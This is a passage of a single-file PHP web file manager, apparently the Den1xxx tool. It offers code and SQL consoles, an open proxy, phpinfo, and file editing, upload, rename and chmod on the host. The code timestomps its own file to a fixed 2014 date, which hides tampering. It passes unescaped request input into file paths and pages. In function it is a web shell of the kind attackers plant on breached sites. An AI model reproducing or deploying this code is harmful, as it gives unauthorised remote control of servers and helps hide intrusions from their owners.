/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXg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3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");

}


.file {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGo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WSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

